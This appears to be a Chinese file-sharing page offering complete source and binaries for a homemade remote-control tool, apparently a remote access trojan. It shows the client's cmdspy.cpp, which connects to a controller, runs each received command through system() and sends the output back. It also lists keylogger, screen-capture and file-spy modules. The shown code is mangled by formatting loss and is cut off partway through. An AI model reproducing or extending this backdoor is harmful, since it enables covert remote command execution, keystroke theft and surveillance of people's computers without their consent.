資源簡介
從零開始做遠控 完滿結束 發布完整源代碼及已編譯好的程序
代碼片段和文件信息
#include?“cmdspy.h“
//?互擠體,用來確保線程安全
static?CRITICAL_SECTION?gCs;
//?初始化類
static?CmdSpy?gSpy;
//?臨時飯后信息保存路徑
static?std::string?gTmpReturnFile?=?“cmd_return.tmp“;
CmdSpy::CmdSpy()
{
????//?初始化互擠體
????InitializeCriticalSection(&gCs);
}
CmdSpy::~CmdSpy()
{
????//?刪除互擠體
????DeleteCriticalSection(&gCs);
}
void?CmdSpy::startByNewThread(std::string?domain?int?port)
{
????//?將域名和端口數據轉換成一個字符指針類型
????char?*args?=?new?char[MAX_PATH+sizeof(int)];
????domain.reserve(MAX_PATH);
????memcpy(argsdomain.data()?MAX_PATH);
????memcpy(args+MAX_PATH(char*)&port?sizeof(int));
????//?創建新線程
????HANDLE?h?=?CreateThread(NULL0?CmdSpy::threadProc(LPVOID)args0NULL);
????if?(!h)?{
????????std::cout?<“Failed?to?create?new?thread“?<????????std::fflush(stdout);
????}
}
DWORD?CmdSpy::threadProc(LPVOID?args)
{
????char?domain[MAX_PATH];
????memcpy(domain?args?MAX_PATH);
????int?port?=?*((int*)((char*)args+MAX_PATH));
????//?開始監控
????startCmdSpy(domain?port);
????//?釋放參數
????delete?(char?*)args;
????return?true;
}
void?CmdSpy::startCmdSpy(std::string?domain?int?port)
{
????//?創建socket并連接至服務端
????TcpSocket?sock;
????if?(!sock.connectTo(domain?port))?{
????????std::cout?<“Failed?to?connect?cmd?spy?server?“?<<
?????????????????????domain?<“:“?<????????std::fflush(stdout);
????????return;
????}
????//?開始監控消息
????std::cout?<“Started?cmd?spy“?<????std::fflush(stdout);
????//?死循環,不斷從服務端接收數據
????const?int?packetSize?=?800;
????char?szData[packetSize];
????int?ret;
????std::string?buf;
????while?(1)?{
????????ret?=?sock.recvData(szData?packetSize);
????????//?出現錯誤
????????if?(ret?==?SOCKET_ERROR?||?ret?==?0)?{
????????????break;
????????}
???????//?把數據加入到緩沖區
???????addDataToBuffer(&sock?buf?szData?ret);
????}
????//?完成
????std::cout?<“Finished?cmd?spy“?<????std::fflush(stdout);
}
void?CmdSpy::addDataToBuffer(TcpSocket?*sock?std::string?&buf?char?*data?int?size)
{
????buf.append(datasize);
????//?把數據轉換成指令模式
????int?endIndex;
????while?((endIndex?=?buf.find(gSpy.CmdEnd))?>=?0)?{
????????std::string?cmd?=?buf.substr(0endIndex);
????????buf.erase(0?endIndex+gSpy.CmdEnd.length());
????????//?處理指令
????????std::string?retData?=?execCmd(cmd);
????????//?發送Cmd命令返回數據到服務端
????????sock->sendData(retData.data()?retData.size());
????????//?發送當前文件位置
????????std::string?pwd?=?gSpy.CmdPwd;
????????pwd.append(gSpy.CmdSplit);
????????pwd.append(getPWD());
????????//?發送Cmd命令返回數據到服務端
????????sock->sendData(pwd.data()?pwd.size());
????}
}
std::string?CmdSpy::execCmd(std::string?cmd)
{
????//?鎖定函數,其他線程不能進來
????EnterCriticalSection(&gCs);
????//?執行指令,然后保存在臨時文件
????system(cmd.append(“?>?“).append(gTmpReturnFile).data());
????//?打開臨時文件
????FILE?*fp?=?fopen(gTmpReturnFile.data()?“rb“);
????if?(!fp)?{
????????std::cout?<“Failed?to?open?return?file?of?cmd\n“;
????????std::fflu
?屬性????????????大小?????日期????時間???名稱
-----------?---------??----------?-----??----
?????文件???????3969??2016-12-25?15:47??2017測試遠控完整代碼\QT_ZeroClientr\cmdspy.cpp
?????文件????????961??2016-12-25?14:50??2017測試遠控完整代碼\QT_ZeroClientr\cmdspy.h
?????文件??????13714??2016-12-25?12:53??2017測試遠控完整代碼\QT_ZeroClientr\filespy.cpp
?????文件???????3525??2016-12-24?08:57??2017測試遠控完整代碼\QT_ZeroClientr\filespy.h
?????文件???????1378??1997-10-18?15:41??2017測試遠控完整代碼\QT_ZeroClientr\jpeg\jconfig.h
?????文件??????12717??2014-09-03?11:55??2017測試遠控完整代碼\QT_ZeroClientr\jpeg\jmorecfg.h
?????文件??????47339??2016-12-21?08:02??2017測試遠控完整代碼\QT_ZeroClientr\jpeg\jpeglib.h
?????文件?????235030??2014-04-05?15:23??2017測試遠控完整代碼\QT_ZeroClientr\jpeg\libjpeg.lib
?????文件???????7116??2016-12-25?12:53??2017測試遠控完整代碼\QT_ZeroClientr\keyboardspy.cpp
?????文件???????1512??2016-12-22?15:24??2017測試遠控完整代碼\QT_ZeroClientr\keyboardspy.h
?????文件???????1669??2016-12-26?14:52??2017測試遠控完整代碼\QT_ZeroClientr\main.cpp
?????文件???????9188??2016-12-23?12:36??2017測試遠控完整代碼\QT_ZeroClientr\screenspy.cpp
?????文件???????1378??2016-12-21?14:42??2017測試遠控完整代碼\QT_ZeroClientr\screenspy.h
?????文件???????3746??2016-12-24?11:08??2017測試遠控完整代碼\QT_ZeroClientr\tcpsocket.cpp
?????文件????????910??2016-12-24?10:55??2017測試遠控完整代碼\QT_ZeroClientr\tcpsocket.h
?????文件???????8162??2016-12-25?14:27??2017測試遠控完整代碼\QT_ZeroClientr\zeroclient.cpp
?????文件???????2400??2016-12-25?13:11??2017測試遠控完整代碼\QT_ZeroClientr\zeroclient.h
?????文件????????331??2016-12-25?12:01??2017測試遠控完整代碼\QT_ZeroClientr\ZeroClient.pro
?????文件??????23669??2016-12-26?15:07??2017測試遠控完整代碼\QT_ZeroClientr\ZeroClient.pro.user
?????文件???????4087??2016-12-25?17:16??2017測試遠控完整代碼\QT_ZeroServerc\cmdspy.cpp
?????文件???????1586??2016-12-25?17:14??2017測試遠控完整代碼\QT_ZeroServerc\cmdspy.h
?????文件??????14477??2017-05-23?15:38??2017測試遠控完整代碼\QT_ZeroServerc\filespy.cpp
?????文件???????4341??2017-05-19?10:02??2017測試遠控完整代碼\QT_ZeroServerc\filespy.h
?????文件???????4122??2016-12-24?17:47??2017測試遠控完整代碼\QT_ZeroServerc\filetransfer.cpp
?????文件???????1375??2016-12-24?17:44??2017測試遠控完整代碼\QT_ZeroServerc\filetransfer.h
?????文件???????1784??2016-12-23?17:59??2017測試遠控完整代碼\QT_ZeroServerc\keyboardspy.cpp
?????文件????????984??2016-12-22?17:42??2017測試遠控完整代碼\QT_ZeroServerc\keyboardspy.h
?????文件????????199??2016-12-19?12:00??2017測試遠控完整代碼\QT_ZeroServerc\main.cpp
?????文件???????5064??2016-04-24?09:10??2017測試遠控完整代碼\QT_ZeroServerc\resources\cmdspy.png
?????文件???????8132??2016-04-24?09:13??2017測試遠控完整代碼\QT_ZeroServerc\resources\filespy.png
............此處省略109個文件信息
評論
共有 條評論